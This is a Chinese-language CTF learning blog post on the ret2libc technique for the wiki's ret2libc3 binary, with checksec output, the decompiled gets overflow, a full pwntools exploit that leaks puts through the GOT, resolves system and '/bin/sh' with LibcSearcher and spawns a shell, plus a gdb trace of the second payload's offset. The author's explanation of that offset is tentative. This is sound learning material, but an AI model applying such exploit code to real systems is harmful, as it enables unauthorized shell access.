pwn学习之ret2libc


title: pwn学习之ret2libc
date: 2020-01-29 18:07:07
tags: pwn学习


在家无聊了的第二天,继续学习pwn的知识

​ 今天看了看wiki-ret2libc的内容,觉得受益匪浅。

原理

​ ret2libc说白了就是让我们之前的ret不往shellcode或者vul上跳 而是跳到了某个函数的plt或者got的位置 从而实现控制程序的函数去执行libc中的函数

例子

​ 这里使用了wiki上的例子来练习,wiki给了三种情况 :

 - 有system  有  /bin/sh
 - 有system  无  /bin/sh
 - 无system  无 /bin/sh

我们着重来说第三种方式 这种也是某些ctf题目中可以见到的 额当然 现在比赛还是heap占大多数

ok 我们拿到例子后 还是拿checksec 检测一下

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

发现开的NX是个32位的ELF 然后拿到ida去分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No surprise anymore, system disappeard QQ.");
  printf("Can you find it !?");
  gets(&s);     //gets存在明显的栈溢出漏洞  
  return 0;
}

由于人家没给咱们so文件 所以就只能自己去泄露他的版本了

然后 计算偏移的过程就不贴了 offset最后为112

思路

我们来总结一下思路

  • 首先先得找到一个在我们溢出之前使用过的函数 我这里选择使用puts函数 来通过溢出漏洞泄露他的地址

    • 有时候我们并不一定非得直接知道某个函数的地址,可以利用 GOT 表跳转到对应函数的地址。当然,如果我们非得知道这个函数的地址,我们可以利用 write,puts 等输出函数将 GOT 表中地址处对应的内容输出出来(前提是这个函数已经被解析一次了) -------摘自wiki
  • 接着我们可以通过 libcsearcher 来查找对应版本的libc

    • libcsearcher是大佬写出来专门 做pwn题的一个python模块 可以根据我们函数的地址来查找对应的libc版本
    • 为何没有选择dynelf来做 因为 考虑到漏洞点是出在gets函数上 由于gets函数遇到\x0a(即换行)会结束 所以没有选择这种方法 如果漏洞点处在read函数上就可以考虑使用dynelf来泄露地址
  • 找到libc版本之后去计算我们的system的地址和/bin/sh的地址

    • 当我们有了libc的版本之后可以通过libcsearcher给出的方法去计算

      • from LibcSearcher import *
        
        #第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
        obj = LibcSearcher("fgets", 0X7ff39014bd90)
        
        obj.dump("system")        #system 偏移
        obj.dump("str_bin_sh")    #/bin/sh 偏移
        obj.dump("__libc_start_main_ret")    
        
  • 之后再次去执行main函数去我们的溢出点构造我们第二次发送的payload

exp
from pwn import *
from LibcSearcher import *


context.log_level = 'debug'
io = process('./ret2libc3')

elf = ELF('./ret2libc3')
puts_got_addr = elf.got['puts']
puts_plt_addr = elf.plt['puts']
main_addr = elf.symbols['main']
raw_input()
payload = "a"*112+p32(puts_plt_addr)+p32(main_addr)+p32(puts_got_addr)
io.recvuntil('!?')
io.sendline(payload)
puts_addr = u32(io.recv()[0:4])

obj = LibcSearcher('puts',puts_addr)
obj_base = puts_addr-obj.dump('puts')
sys_addr=obj.dump('system')+obj_base
bin_sh_addr = obj.dump('str_bin_sh')+obj_base

#io.recvuntil('!?')
payload2 = 'a'*104+p32(sys_addr)+'bbbb'+p32(bin_sh_addr)  #这里的a为何为104下面给出我个人的看法
io.send(payload2)

io.interactive()
gdb 分析

​ 其实上面这个104 我在最开始时写的是112 于是造成了payload打不通的情况 于是拿gdb at上去分析一下 以下是我分析所得出的结论 如果有错误希望师傅们及时指正:

​ 首先定位到第二次发送完payload要ret的时候 就是我们第二次call gets的那个地方的ret

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xf7f365a0 --> 0xfbad2288 
EDX: 0xf7f3787c --> 0x0 
ESI: 0xf7f36000 --> 0x1b1db0 
EDI: 0xf7f36000 --> 0x1b1db0 
EBP: 0x61616161 ('aaaa')
ESP: 0xffd164e8 ("aaaa\240\355\333\367bbbb\v\372\355", <incomplete sequence \367>)
EIP: 0x61616161 ('aaaa')
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x61616161
[------------------------------------stack-------------------------------------]
0000| 0xffd164e8 ("aaaa\240\355\333\367bbbb\v\372\355", <incomplete sequence \367>)
0004| 0xffd164ec --> 0xf7dbeda0 (<__libc_system>:	sub    esp,0xc)
0008| 0xffd164f0 ("bbbb\v\372\355", <incomplete sequence \367>)
0012| 0xffd164f4 --> 0xf7edfa0b ("/bin/sh")
0016| 0xffd164f8 --> 0xf7f36000 --> 0x1b1db0 
0020| 0xffd164fc --> 0xf7f7dc04 --> 0x0 
0024| 0xffd16500 --> 0xf7f7d000 --> 0x23f40 
0028| 0xffd16504 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x61616161 in ?? ()

本来我们当ret跳转的时候 eip应该为我们的system的地址 但是这个地方直接去ret回了 0x61616161 这个地方 说明我们的buffer的偏移存在问题 正常来是 我们应该覆盖到ebp就不能在覆盖了 但是这个位置我们可以看到 明显多了esp 和 eip的 一共 8个a 所以我们应该减去8个 也就是104个 这就是我自己的解决这个问题的办法 至于原理我自己的理解应该是当我们第一次发送完payload再次进入main函数的时候 我们没有去平衡栈帧 所以导致了堆栈平衡的问题

参考文章:

ctf-wiki-----基本Rop

发布了3 篇原创文章 · 获赞 0 · 访问量 93

猜你喜欢

转载自blog.csdn.net/weixin_43800829/article/details/104339921